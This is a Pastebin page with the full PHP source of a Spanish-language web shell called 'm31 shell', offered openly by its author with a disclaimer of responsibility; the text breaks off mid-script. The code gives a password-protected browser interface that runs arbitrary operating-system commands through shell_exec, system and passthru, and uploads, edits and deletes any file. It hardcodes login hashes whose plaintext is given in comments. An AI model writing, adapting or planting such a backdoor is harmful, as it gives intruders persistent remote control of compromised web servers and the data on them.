Advertisement
Guest User

m31 shell v0.1.2b by Aex12

a guest
Apr 3rd, 2014
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 29.65 KB | None | 0 0
  1. <?php
  2. /*
  3.    m31 shell:
  4.       Author: Aex12.
  5.       Language: Spanish
  6.       Version: 0.1.2b
  7.       URL: http://holoscripter.org/foro/index.php?topic=301.0
  8.      
  9.    Developed in:
  10.       PHP: 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39)
  11.       Server: Lubuntu 13.04, Apache/2.2.22 (Ubuntu)
  12.       Client: Lubuntu 13.04, Chrome 26.0.1410.63 (Build oficial 192696)
  13.       Bootstrap: 2.3.2
  14.       jQuery: 1.10.1
  15.       jQuery UI: 1.10.3
  16.       jQuery Hotkeys: 0.7.9
  17.      
  18. */
  19.  
  20. header('Content-Type: text/html; charset=ISO-8859-1'); //Charset (UTF-8 por defecto), en caso de problemas con caracteres cambiar por ISO-8859-1
  21. DEFINE("user","50f8b2690eeac2c2590451b81c45f893f9a57b8d"); // Usuario: sha1(md5("m31"));
  22. DEFINE("pass","5e43ac2ef1139e88fada3c19b1b10a94493832a3"); // Contraseña: sha1(md5("holoscripter"));
  23. //Opciones de "personalizacion"
  24. $background = "http://fc08.deviantart.net/fs70/i/2011/015/e/3/clarity_by_foolish_fox-d379pzg.jpg"; //fondo de la shell
  25. $bootstrapcss = "http://getbootstrap.com/2.3.2/assets/css/bootstrap.css"; //css de bootstrap version 2.3.2, preferible establecer la version .min.css para una carga mas acelerada. (Estamos portando a Bootstrap 3)
  26. $body_style = "margin-top:19px; background-repeat:no-repeat; background-attachment:fixed;"; //css de body
  27. $logotipo = "abajo"; // Posibles: arriba, abajo, desactivado.
  28. $nav_color = "#E3E3E3"; //Color en html del fondo del menu
  29. $accordion_color = "#F5F5F5"; //color en html del menu
  30. $menu_radio = "8"; //radio en pixeles de los menus.
  31. //Opciones de las sesiones PHP:
  32. $lifetime = "0"; //Tiempo en segundos que durará la sesion. 0 = hasta cerrar navegador.
  33. $maxlifetime = "259200"; //tiempo en segundos que tardará la sesion en caducar en caso de inactividad.
  34. //Opciones del chat:
  35. $wmode = "direct"; //posibles: transparent, opaque, window, direct. (Busca en google)
  36. $quality = "high"; //posibles: high, low, medium
  37. $language = "es"; //posibles: es, en.
  38. $height = "466"; //Alto en pixeles
  39. $width = "790"; //Ancho en pixeles
  40. $bgcolor = "#000000"; //color de fondo en html
  41. $xats = array(
  42. 'Holoscripter' => '153256001',
  43. 'Chat2' => '21312',
  44. 'Chat3' => '123'
  45. );
  46. //Opciones POPUP editar:
  47. $popup_ancho = "650"; //ancho en pixeles del popup editar
  48. $popup_alto = "500"; //alto en pixeles  del popup editar
  49. //combinaciones:
  50. $comb_login = "ctrl+k"; //combinacion de teclas para abrir login
  51. $comb_save = "ctrl+s"; //combinacion de teclas para guardar un archivo mientras se edita.
  52. //iconos:
  53. $actionicon = array(
  54. 'borrar' => 'http://cdn1.iconfinder.com/data/icons/aspneticons_v1.0_Nov2006/trash_%28delete%29_16x16.gif',
  55. 'editar' => 'http://cdn1.iconfinder.com/data/icons/silk2/page_white_edit.png',
  56. 'carpeta' => 'http://cdn1.iconfinder.com/data/icons/fugue/icon_shadowless/folder_horizontal_open.png',
  57. 'desconocido' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/file.png',
  58. 'permisos' => 'https://cdn1.iconfinder.com/data/icons/famfamfam_mini_icons/icon_padlock.gif',
  59. );
  60.  
  61. $iconos = array(
  62. 'pdf' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-pdf.png',
  63. 'xls' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-xls.png',
  64. 'php' => 'http://static.php.net/www.php.net/favicon.ico',
  65. 'html' => 'http://cdn1.iconfinder.com/data/icons/ledicons/html.png',
  66. 'txt' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/2.png',
  67. 'png' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  68. 'jpg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  69. 'jpeg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  70. 'gif' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  71. 'js' => 'http://cdn1.iconfinder.com/data/icons/silk2/cup_edit.png',
  72. );
  73. $img_resize="125";
  74.  
  75. $version = "v0.1.2b";
  76. session_set_cookie_params($lifetime);
  77. ini_set("session.gc_maxlifetime", $maxlifetime);
  78. session_start();
  79. if(!isset($_GET['page'])){
  80. if(!isset($_SESSION['page'])){
  81. $page = "welcome";
  82. $_SESSION['page'] = "welcome";
  83. } else {
  84. $page = $_SESSION['page'];
  85. }
  86. } else {
  87. $page = $_GET['page'];
  88. $_SESSION['page'] = $_GET['page'];
  89. }
  90.  
  91. if(isset($_GET['reload'])){
  92. $page = $_SESSION['page'];
  93. }
  94.  
  95. if($page == "disconnect"){
  96. session_destroy();
  97. header('Location: '.$_SERVER['PHP_SELF']);
  98. }
  99. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  100. $_SESSION['user'] = sha1(md5($_POST['user']));
  101. $_SESSION['pass'] = sha1(md5($_POST['pass']));
  102. }
  103.  
  104.  
  105. if(isset($_GET['dir'])){$_SESSION['dir'] = $_GET['dir'];}
  106. if(!isset($_SESSION['dir'])){ $_SESSION['dir'] = getcwd();}
  107. $dir = $_SESSION['dir'];
  108.  
  109. function extension($ext){
  110. if(strpos($ext,".")){
  111. return end(explode(".", $ext));
  112. } else {
  113. return ".";
  114. }
  115. }
  116.  
  117. function filename($file){
  118. if(strpos($file,"/")){
  119. return end(explode("/", $file));
  120. } else {
  121. return end(explode('\\', $file));
  122. }
  123. }
  124.  
  125. function tamano($peso , $decimales = 2 ) {
  126. $clase = array(" Bytes", " KB", " MB", " GB", " TB");
  127. if($peso != 0){
  128. return round($peso/pow(1024,($i = floor(log($peso, 1024)))),$decimales ).$clase[$i];
  129. } else {
  130. return "Vacio";
  131. }
  132. }
  133.  
  134. function table($nombre, $carpeta=0, $id=0){
  135. global $dir; global $iconos; global $actionicon;
  136. if($carpeta==0){
  137. $extension = extension($nombre);
  138. if(!isset($iconos[$extension])){
  139. $icono = $actionicon['desconocido'];
  140. } else {
  141. $icono = $iconos[$extension];
  142. }
  143. $return =
  144. '<tr id="a_'.$id.'">
  145. <td><img src="'.$icono.'"></td>
  146. <td id="an_'.$id.'">'.$nombre.'</td>
  147. <td><div class="btn-group" style="height:20px;">
  148.  <a class="btn dropdown-toggle" data-toggle="dropdown" href="#" style="height:13px;">
  149.    Más info
  150.    <span class="caret"></span>
  151.  </a>
  152.  <ul class="dropdown-menu">
  153.    <li><a tabindex="-1"><b>Tamaño</b>: '.tamano(@filesize($nombre)).'</a></li>
  154.    <li><a tabindex="-1"><b>Permisos</b>: '.substr(decoct(fileperms($nombre)),2).'</a></li>
  155.  </ul>
  156. </div></td>
  157. <td><a onClick="edit(\''.$dir.'/'.$nombre.'\');"><img src="'.$actionicon['editar'].'" title="EDITAR '.$nombre.'"></a>&nbsp;<a onClick="delfile(\''.$dir.'/'.$nombre.'\', \'a_'.$id.'\')"><img src="'.$actionicon['borrar'].'" title="ELIMINAR '.$nombre.'"></a></td>
  158. </tr>';
  159. return $return;
  160. } elseif(($nombre == "..") && ($carpeta==1)){
  161. $carpetas = split("/",$dir);
  162. array_pop($carpetas);
  163. $dir2 = join("/",$carpetas);
  164. if($dir2==""){$dir2="/";}
  165. $return =
  166. '<tr>
  167. <td><img src="'.$actionicon['carpeta'].'"></td>
  168. <td><a href="#" onClick="listardir(\''.$dir2.'\')">[Atrás] '.$nombre.'</a></td>
  169. <td></td>
  170. <td></td>
  171. </tr>';
  172. return $return;
  173. } elseif(($nombre == ".") && ($carpeta==1)){
  174. $return =
  175. '<tr>
  176. <td><img src="'.$actionicon['carpeta'].'"></td>
  177. <td><a href="#" onClick="listardir(\''.$dir.'\')">[Recargar] '.$nombre.'</a></td>
  178. <td></td>
  179. <td></td>
  180. </tr>';
  181. return $return;
  182. } elseif($carpeta==1){
  183. if($dir=="/"){$dir="";}
  184. $return =
  185. '<tr>
  186. <td><img src="'.$actionicon['carpeta'].'"></td>
  187. <td><a href="#" onClick="listardir(\''.$dir.'/'.$nombre.'\')">'.$nombre.'</a></td>
  188. <td></td>
  189. <td>Borrar</td>
  190. </tr>';
  191. return $return;
  192. }
  193. }
  194.  
  195. function add2menu($nombre, $pagina){
  196. echo "<li id='nav_$pagina' class='".active($pagina)."'><a href='?page=$pagina' onclick='page(\"$pagina\"); return false;'>+ $nombre</a></li>";
  197. }
  198.  
  199. class SimpleImage {   var $image; var $image_type;   function load($filename) {   $image_info = getimagesize($filename); $this->image_type = $image_info[2]; if( $this->image_type == IMAGETYPE_JPEG ) {   $this->image = imagecreatefromjpeg($filename); } elseif( $this->image_type == IMAGETYPE_GIF ) {   $this->image = imagecreatefromgif($filename); } elseif( $this->image_type == IMAGETYPE_PNG ) {   $this->image = imagecreatefrompng($filename); } } function output($image_type=IMAGETYPE_JPEG) {   if( $image_type == IMAGETYPE_JPEG ) { imagejpeg($this->image); } elseif( $image_type == IMAGETYPE_GIF ) {   imagegif($this->image); } elseif( $image_type == IMAGETYPE_PNG ) {   imagepng($this->image); } } function getWidth() {   return imagesx($this->image); } function getHeight() {   return imagesy($this->image); } function resizeToHeight($height) {   $ratio = $height / $this->getHeight(); $width = $this->getWidth() * $ratio; $this->resize($width,$height); }   function resizeToWidth($width) { $ratio = $width / $this->getWidth(); $height = $this->getheight() * $ratio; $this->resize($width,$height); }   function scale($scale) { $width = $this->getWidth() * $scale/100; $height = $this->getheight() * $scale/100; $this->resize($width,$height); }   function resize($width,$height) { $new_image = imagecreatetruecolor($width, $height); imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight()); $this->image = $new_image; }   }
  200.  
  201. function active($pagina){
  202. if($_SESSION['page'] == $pagina){return 'active';}
  203. }
  204.  
  205. function aex_buscar($ruta, $ext=FALSE){
  206.  $archivos = array();
  207.  if($ext){
  208.  $ext = strtolower($ext);
  209.  if(strpos($ext, ",")){
  210.  $ext2 = explode(",", $ext);
  211.  } else {
  212.  $ext2 = array('0' => $ext);
  213.  }
  214.  }
  215.  if (is_dir($ruta)){
  216.  if ($dh = opendir($ruta)){
  217.  while (($file = readdir($dh)) !== false){
  218.  $extension = extension(strtolower($file));
  219.  if($file != ".."){
  220.  if($file != "."){
  221.  if(!is_dir($ruta.'/'.$file)){
  222.  if($ext){
  223.  if(in_array($extension, $ext2)){
  224.  $archivos[] = $ruta.'/'.$file;
  225.  }
  226.  } else {
  227.  $archivos[] = $ruta.'/'.$file;
  228.  }
  229.  } else {
  230.  $archivos = array_merge($archivos, aex_buscar($ruta.'/'.$file, $ext));
  231.  }
  232.  }
  233.  }
  234.  }
  235.  closedir($dh);
  236.  } else {
  237.  return FALSE;
  238.  }
  239.  } else {
  240.  return FALSE;
  241.  }
  242.  return $archivos;
  243. }
  244.  
  245.  
  246. if(isset($_SESSION['user'])){
  247. if(($_SESSION['user'] == user) && ($_SESSION['pass'] == pass)){
  248. $online = 1;
  249. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  250. exit(header("Location: ".$_SERVER['PHP_SELF']."?page=welcome"));
  251. }
  252. }
  253. }
  254.  
  255. if(isset($online)){
  256.  
  257. if(isset($_GET['loadmoreimgs'])){
  258. $archivos1 = aex_buscar($_GET['loadmoreimgs'], "png,jpg,jpeg,gif");
  259. $i = 0;
  260. while($i < count($archivos1)){
  261. echo "<p>";
  262. echo "<a href='#' onClick='galleryLoad(\"$archivos1[$i]\", $i)'><img id='img_$i' src='?getthumbnail=$archivos1[$i]&resize=$img_resize' class='img-rounded' title='".filename($archivos1[$i])."'></a>";
  263. echo "</p>";
  264. $i++;
  265. }
  266. exit;
  267. }
  268.  
  269. if(isset($_GET['getbytes'])){
  270. exit(tamano(@filesize($_GET['getbytes'])));
  271. }
  272.  
  273. $carrusel = array('png','jpg','jpeg','gif');
  274. if(isset($_GET['imageview'])){
  275. $imagen = $_GET['imageview'];
  276. $ext = extension($imagen);
  277. if(in_array($ext, $carrusel)){
  278.   if (is_file($imagen)){
  279.     header('content-type: image/'.$ext);
  280.     readfile($imagen);
  281.     exit;
  282.   }
  283. exit;
  284. }
  285. exit;
  286. }
  287.  
  288. if(isset($_GET['getthumbnail'])){
  289. $imagen = $_GET['getthumbnail'];
  290. $ext = extension($imagen);
  291. if(in_array($ext, $carrusel)){
  292.   if (is_file($imagen)){
  293.     header('content-type: image/'.$ext);
  294.     $image = new SimpleImage();
  295.     $image->load($imagen);
  296.     $image->resizeToWidth($_GET['resize']);
  297.     $image->output();
  298.     exit;
  299.   }
  300. exit;
  301. }
  302. exit;
  303. }
  304.  
  305. if(isset($_GET['cmd'])){
  306. $metodo = $_GET['metodo'];
  307. $cmd = $_GET['cmd'];
  308. chdir($dir);
  309.  
  310. if($metodo == "shellexec"){
  311. echo nl2br(htmlspecialchars(shell_exec($cmd)));
  312. exit();
  313. }
  314.  
  315. if($metodo == "system"){
  316. system($cmd);
  317. exit();
  318. }
  319.  
  320. if($metodo == "passthru"){
  321. passthru($cmd);
  322. exit();
  323. }
  324. exit("No se ha seleccionado metodo");
  325. }
  326.  
  327. if(isset($_GET['edit'])){
  328. if(isset($_POST['content'])){
  329. if($fp = @fopen($_GET['edit'],"w")){
  330. fwrite($fp, stripslashes($_POST['content']));
  331. fclose($fp);
  332. exit('exito');
  333. } else {
  334. exit("error:perm");
  335. }
  336. }
  337. }
  338.  
  339. if(isset($_GET['edit'])){
  340. $html = htmlspecialchars(file_get_contents($_GET['edit']));
  341. ?>
  342. <script language="javascript" type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
  343. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  344. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  345. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  346. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  347. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  348. <script language="javascript" type="text/javascript">
  349. editAreaLoader.init({
  350.     id : "a1"
  351.     ,syntax: "php"
  352.     ,language: "es"
  353.     ,save_callback: "check"
  354.     ,display: "later"
  355.     ,toolbar: "save,|,search, go_to_line, fullscreen, |, undo, redo, |, syntax_selection, |, select_font,|, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help"
  356.     ,start_highlight: true
  357. });
  358.  
  359. function save(content){
  360. $.post("?edit=<?php echo $_GET['edit']; ?>", { content: content })
  361. .done(function(data) {
  362.   if(data == "exito"){
  363.   alertify.success("Editado correctamente!", 2500);
  364.   }
  365.  
  366.   if(data == "error:perm"){
  367.   alertify.error("No tienes permisos para editar este archivo");
  368.   }
  369. });
  370. }
  371.  
  372. function check(id, content){
  373. if(id){
  374. save(content);
  375. } else {
  376. save($('#a1').val());
  377. }
  378. }
  379.  
  380. $(document).bind('keydown', '<?php echo $comb_save; ?>', function (evt) {
  381.        check();
  382.        return false;
  383.     });
  384.    
  385. </script>
  386. <textarea id="a1" style="width:100%; height:97%; margin-top:0px; margin-left:0px;">
  387. <?php echo $html; ?>
  388. </textarea>
  389. ATENCION: Si tu PC es poco potente no es recomendado activar esta opcion en archivos grandes.
  390. <button onClick="check();">Guardar</button>
  391. <?php
  392. exit();
  393. }
  394.  
  395. if(isset($_GET['upload'])){
  396. if (array_key_exists('HTTP_X_FILE_NAME', $_SERVER) && array_key_exists('CONTENT_LENGTH', $_SERVER)) {
  397.     $fileName = $_SERVER['HTTP_X_FILE_NAME'];
  398.     $contentLength = $_SERVER['CONTENT_LENGTH'];
  399. } else throw new Exception("Error recibiendo cabeceras");
  400.  
  401. if (!$contentLength > 0) {
  402.     throw new Exception('No se ha subido ningun archivo!');
  403. }
  404.  
  405. if($_GET['newname'] == ""){ $_GET['newname'] = $fileName;}
  406. file_put_contents($dir.'/'.$_GET['newname'], file_get_contents("php://input"));
  407. exit();
  408. }
  409.  
  410. if(isset($_GET['obtenerdir'])){
  411. $_SESSION['dir'] = $_GET['obtenerdir'];
  412. $dir = $_SESSION['dir'];
  413. @chdir($dir);
  414. ?>
  415. <script>alertify.log("Carpeta: <?php echo $dir; ?>", "", 2500);</script>
  416. <table class="table table-striped table-condensed" id="table_files" style="width:100%;">
  417.  <thead>
  418.                 <tr style="width:100%;">
  419.                   <th style="width:10%;">i</th>
  420.                   <th style="width:40%;">Nombre</th>
  421.                   <th style="width:30%;">Peso</th>
  422.                   <th style="width:20%;"><div class="btn-group">
  423.   <a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
  424.     Acciones
  425.     <span class="caret"></span>
  426.   </a>
  427.   <ul class="dropdown-menu">
  428.     <li><a tabindex="-1" href="#" id="opener" onclick="$('#dialog').dialog('open');">Subir archivos</a></li>
  429.   </ul>
  430. </div></th>
  431.                 </tr>
  432.               </thead>
  433.               <tbody>
  434. <?php
  435. $folders = array();
  436. $archivos1 = array();
  437. if(!@opendir($dir)){
  438. echo table('..', 1);
  439. ?>
  440. </table>
  441. <hr>
  442. <b>No tienes permisos para visualizar esta carpeta, vuelva atrás.</b>
  443. <?php
  444. exit; }
  445. $directorio=opendir($dir);
  446.  
  447. while ($archivo = readdir($directorio)) {
  448.  if($archivo == '.'){
  449.  echo table(".", 1);
  450.   } elseif($archivo == '..'){
  451.     if($dir != '.'){
  452.       echo table($archivo, 1);
  453.     }
  454.   }
  455.   elseif(is_dir("$dir/$archivo")){
  456.     $folders[] = $archivo;
  457.   } else {
  458.  $archivos1[] = $archivo;
  459. }
  460.  
  461. }
  462. closedir($directorio);
  463. $i=0;
  464. @array_multisort(@array_map('strtolower', $folders), $folders);
  465. while ($i < count ($folders) ) {
  466.     echo table($folders[$i], 1);
  467.     $i++;
  468. }
  469.  
  470. $i=0;
  471. @array_multisort(@array_map('strtolower', $archivos1), $archivos1);
  472. while ($i < count ($archivos1) ) {
  473.     echo table($archivos1[$i], 0, $i);
  474.     $i++;
  475. }
  476. ?>
  477. </tbody>
  478. </table>
  479. <?php
  480. exit();
  481. }
  482.  
  483. if(isset($_GET['delete'])){
  484. if(unlink($_GET['delete'])){
  485. exit("1");
  486. } else {
  487. exit("0");
  488. }
  489. }
  490.  
  491. if(isset($_GET['ajaxpage'])){
  492.  if($page == "welcome"){ ?>
  493.     <script>alertify.log("Bienvenido!", "", 3000);;</script>
  494.       <div class="hero-unit">
  495.   <h1>Bienvenido a m31</h1>
  496.   <p>Esta es la unica shell hasta el momento que usa jQuery, jQueryUI, Ajax y Bootstrap. Espero que le agrade, ya que ha sido diseñada para ser sencilla de usar, sin tener que renunciar a opciones mas avanzadas. Si no conoce bien el funcionamiento de esta shell, simplemente haga click en el boton "Manual" para ir al hilo oficial de esta shell y recibir mas información acerca de ella. Cordialmente, Aex12.</p>
  497.   <p>No me hago responsable de ningun daño causado con esta shell, todo acto dañino/delictivo será responsabilidad del usuario final.</p>
  498.   <p>
  499.     <a class="btn btn-primary btn-large" href="http://holoscripter.org/foro/index.php?topic=301.0">
  500.       Manual
  501.     </a>
  502.   </p>
  503. </div>
  504. <?php
  505. exit();
  506. }
  507.  
  508. if($page == "phpinfo"){
  509. echo '<script>alertify.log("PHPInfo", "", 3000);;</script>';
  510. echo phpinfo();
  511. exit();
  512. }
  513.  
  514. if($page == "gallery"){
  515. $directorio=opendir($dir);
  516. $archivos1 = array();
  517. while ($archivo = readdir($directorio)) {
  518. $extension = extension($archivo);
  519. if (in_array($extension, $carrusel)) {
  520. $archivos1[] = $archivo;
  521. }
  522. }
  523. ?>
  524. <script>
  525. alertify.log("Galería", "", 3000);
  526. var antique = "Nothing";
  527. function galleryLoad(file, id){
  528. $("#gallery").attr("src","?imageview="+file);
  529. $.get('?getbytes='+file, function(data) {
  530. $("#gallery_bytes").html(data);
  531. });
  532. if(antique != id){
  533. $("#img_"+id).attr("class", "img-circle");
  534. $("#img_"+antique).attr("class", "img-rounded");
  535. $("#gallery_name").html(file);
  536. antique = id;
  537. }
  538. }
  539.  
  540. function loadMore(folder){
  541. $.get('?loadmoreimgs='+folder, function(data) {
  542. $("#gallery_list").html(data);
  543. });
  544. }
  545. <?php
  546. if(count($archivos1) != 0){
  547. ?>
  548. galleryLoad("<?php echo $dir.'/'.$archivos1['0']; ?>", 0);
  549. <?php } ?>
  550. </script>
  551. <div>
  552. <div class="well well-small span10" style="max-height:95%;OVERFLOW:auto;">
  553. <img id="gallery" src="">
  554. <div class="alert alert-info">
  555. <b>Archivo: </b><txt id="gallery_name"></txt><br>
  556. <b>Peso: </b><txt id="gallery_bytes"></txt><br>
  557. </div>
  558. </div>
  559. <div class="well well-small span2" style="max-height:95%;OVERFLOW:auto;" id="gallery_list">
  560. <?php
  561. $i = 0;
  562. while($i < count($archivos1)){
  563. echo "<p>";
  564. echo "<a href='#' onClick='galleryLoad(\"$dir/$archivos1[$i]\", $i)'><img id='img_$i' src='?getthumbnail=$dir/$archivos1[$i]&resize=$img_resize' class='img-rounded' title='$archivos1[$i]'></a>";
  565. echo "</p>";
  566. $i++;
  567. }
  568. ?>
  569. <p>
  570. <a href="#" onClick="loadMore('<?php echo $dir; ?>');"><img src="https://cdn1.iconfinder.com/data/icons/juicyfruit_by_salleedesign/128x128/more.png" title="Buscar en: <?php echo $dir; ?>"></a>
  571. </p>
  572. </div>
  573. </div>
  574. <?
  575. exit();
  576. }
  577.  
  578. if($page == "terminal"){
  579. ?>
  580. <script>
  581. function cmd() {
  582. var cmd = $("#cmd").val();
  583. var metodo = $("input[name='metodo']:checked").val();
  584. $.get('?cmd='+cmd+'&metodo='+metodo, function(data) {
  585. $("#resultcmd").html(data);
  586. $("#cmd").val("");
  587. });
  588. return false;
  589. }
  590.  
  591. alertify.log("Terminal", "", 3000);
  592.  
  593. </script>
  594. <div class="well well-small">
  595. <span class="label"><?php echo getenv("APACHE_RUN_USER"); ?>@php:<?php echo $dir; ?>$</span>
  596.     <hr>
  597.     <blockquote>
  598.     <p id="resultcmd"></p>
  599.     </blockquote>
  600.     <hr>
  601.   <div class="input-prepend input-append">
  602.   <input class="span7" style="width:100%;" id="cmd" onkeypress="{if (event.keyCode==13)cmd()}" type="text">
  603.   <button onClick="cmd();" class="btn">Ejecutar</button>
  604. </div>
  605. <br>
  606. Metodo de ejecución:
  607. <input type="radio" name="metodo" value="shellexec" checked> shell_exec()&nbsp;
  608. <input type="radio" name="metodo" value="system"> system()&nbsp;
  609. <input type="radio" name="metodo" value="passthru"> passthru()&nbsp;
  610.     </div>
  611. <?php
  612. exit();
  613. }
  614.  
  615. if($page == "about"){
  616. ?>
  617. <script>alertify.log("Acerca de", "", 3000);;</script>
  618.  <div class="hero-unit">
  619.   <h1>m31 shell <?php echo $version; ?></h1><p>
  620.   <br>Shell realizada por Aex12 para la comunidad de Holoscripter.
  621.   <br>El logotipo y favicon han sido diseñados por Exit
  622.   <br>El fondo por defecto está sacado de uno de los wallpapers de Lubuntu 13.04
  623.   <br><br>Se han usado las siguientes librerías:
  624.   <br><a href="http://twitter.github.io/bootstrap/">Bootstrap</a> (CSS), <a href="http://jquery.com/">jQuery</a> (JS), <a href="http://jqueryui.com/">jQuery UI</a> (CSS y JS), <a href="http://fabien-d.github.io/alertify.js/">Alertify</a> (CSS y JS), <a href="http://www.cdolivet.com/editarea/">EditArea</a> (JS), <a href="http://code.google.com/p/js-hotkeys/">HotKeys</a> (JS)
  625.   </p>
  626. </div>
  627. <?php
  628. exit();
  629. }
  630.  
  631. if($page == "xat"){
  632. ?>
  633. <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-tab.js"></script>
  634. <script>
  635. function chateando(xat){
  636. alertify.log("Chateando en: "+xat, "", 3000)
  637. }
  638. </script>
  639. <div class="well well-small">
  640. <div class="tabbable">
  641.   <ul class="nav nav-tabs">
  642.   <?php
  643.   $i = 1;
  644.   foreach ($xats as $clave => $valor) {
  645.    if($i == 1){
  646.     echo '<li class="active"><a href="#tab1" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  647.     $i++;
  648.     } else {
  649.     echo '<li><a href="#tab'.$i.'" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  650.     $i++;
  651.     }
  652.     } ?>
  653.   </ul>
  654.   <div class="tab-content">
  655.     <?php
  656.   $i = 1;
  657.   foreach ($xats as $clave => $valor) {
  658.   if($i == 1){
  659.   echo '<script>chateando("'.$clave.'");</script>';
  660.     echo '<div class="tab-pane active" id="tab1">';
  661. echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  662.     ?>
  663.     <div class="alert alert-info">
  664.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  665.     </div>
  666.     <?php
  667.     echo '</div>';
  668.     $i++;
  669.     } else {
  670.         echo '<div class="tab-pane" id="tab'.$i.'">';
  671.     echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  672.     ?>
  673.     <div class="alert alert-info">
  674.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  675.     </div>
  676.     <?php
  677.     echo '</div>';
  678.     $i++;
  679.     }
  680.     } ?>
  681.   </div>
  682.   </div>
  683. </div>
  684. <?php
  685. exit();
  686. }
  687.  
  688. if($page == "files"){ ?>
  689. <script>
  690.  
  691.   $(document).ready(function () {
  692.   listardir("<?php echo $dir; ?>");
  693. });
  694.  
  695. function listardir(dir){
  696. $.get('?obtenerdir='+dir, function(data) {
  697. $("#listado").html(data);
  698. });
  699. }
  700. function delfile(del, id){
  701. $.get('?delete='+del, function(data) {
  702. if(data == 1){
  703. var myarray = del.split('/');
  704. alertify.success("Se ha eliminado "+myarray[myarray.length-1], 1000);
  705. $("#"+id).fadeOut(250, function(){ $(this).remove();});
  706. } else {
  707. alertify.error("No se pudo eliminar el archivo", 1000);
  708. }
  709. });
  710. }
  711.  
  712. function edit(file){
  713. window.open('?edit='+file,'','width=<?php echo $popup_ancho; ?>,height=<?php echo $popup_alto; ?>');
  714. }
  715.  
  716.   $(function() {
  717.     $("#dialog").dialog({
  718.       autoOpen: false,
  719.       show: {
  720.         effect: "slide",
  721.         duration: 600
  722.       },
  723.       hide: {
  724.         effect: "fold",
  725.         duration: 400
  726.       }
  727.     });
  728.   });
  729.     function nombre(fic) {
  730.   fic = fic.split('\\');
  731.   return fic[fic.length-1];
  732. }
  733.  
  734.   function uploadFile(file){
  735.     if(file){
  736. alertify.prompt("Elija el nuevo nombre del archivo a subir.", function (e, str) {
  737.     // str is the input text
  738.     if (e) {
  739.             xhr = new XMLHttpRequest();
  740.  
  741.             xhr.upload.addEventListener('load',function(e){
  742.                 alertify.success("El archivo se subio correctamente");
  743.             }, false);
  744.  
  745.             xhr.upload.addEventListener('error',function(e){
  746.                 alertify.error("Hubo algún problema al subir el archivo");
  747.             }, false);
  748.  
  749.             xhr.open('POST','?upload&newname='+str);
  750.  
  751.             xhr.setRequestHeader("Cache-Control", "no-cache");
  752.             xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  753.             xhr.setRequestHeader("X-File-Name", file.name);
  754.  
  755.             xhr.send(file);
  756.     } else {
  757.         return;
  758.     }
  759. }, nombre($("#archivo").val()));
  760.  
  761.     }
  762. }
  763.  
  764.  
  765. function forceupload(){
  766.     var upload_input = document.querySelectorAll('#archivo')[0];
  767.     uploadFile( upload_input.files[0] );
  768. }
  769.   </script>
  770. <div id="dialog" title="Basic dialog">
  771.   <input type="file" id="archivo"/><br>
  772.   <button onclick="forceupload();">Subir archivo</button>
  773. </div>
  774.  
  775. <div class="well well-small">
  776. <div id="listado">
  777.  
  778.  
  779.  
  780. </div>
  781. </div>
  782. <?php
  783. exit();
  784. }
  785. }
  786. }
  787.  
  788. ?>
  789. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  790. <html><head>
  791. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  792. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  793. <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
  794. <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
  795. <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-dropdown.js"></script>
  796. </head>
  797. <?php if(!isset($online)){?>
  798. <body>
  799. <script>
  800. $(document).bind('keydown', '<?php echo $comb_login; ?>', function (evt) {
  801.        $( "#dialog" ).dialog( "open" );
  802.        return false;
  803.     });
  804.  
  805.   $(function() {
  806.     $("#dialog").dialog({
  807.       autoOpen: false,
  808.       show: {
  809.         effect: "blind",
  810.         duration: 600
